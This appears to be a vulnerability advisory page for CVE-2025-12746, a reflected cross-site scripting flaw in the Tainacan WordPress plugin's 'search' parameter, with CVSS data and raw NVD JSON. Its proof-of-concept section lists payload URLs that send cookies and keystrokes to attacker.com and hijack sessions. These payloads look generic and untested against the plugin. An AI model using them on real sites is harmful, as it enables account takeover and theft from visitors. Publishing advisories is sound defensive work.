Security Vulnerability Report
中文
CVE-2025-12746 CVSS 6.1 MEDIUM

CVE-2025-12746

Published: 2025-11-21 08:15:54
Last Modified: 2026-04-15 00:35:42

Description

The Tainacan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'search' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tainacan WordPress插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12746 PoC: Reflected XSS in Tainacan WordPress Plugin --> <!-- Target: Tainacan plugin <= 1.0.0 --> <!-- Attack Vector: 'search' parameter --> <!-- Basic XSS PoC --> https://target-site.com/?search=<script>alert(document.cookie)</script> <!-- Cookie Stealing PoC --> https://target-site.com/?search=<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Keylogger PoC --> https://target-site.com/?search=<script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script> <!-- Session Hijacking PoC --> https://target-site.com/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- HTML Injection with Script --> https://target-site.com/?search=</title><script>alert('XSS')</script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12746", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:53.930", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tainacan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'search' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/tainacan/tainacan/blob/2491612ee9d5b14baa70862ba2308ee925de0938/src/classes/theme-helper/template-tags.php#L1652", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3395909/tainacan/trunk/classes/theme-helper/template-tags.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/014dd0ee-0bd0-477c-a0fa-bde8ce5a099c?source=cve", "source": "[email protected]"}, {"url": "https://github.com/tainacan/tainacan/commit/8468fb4ec76c709d5ae2852d1fc64986b1dc73cf", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}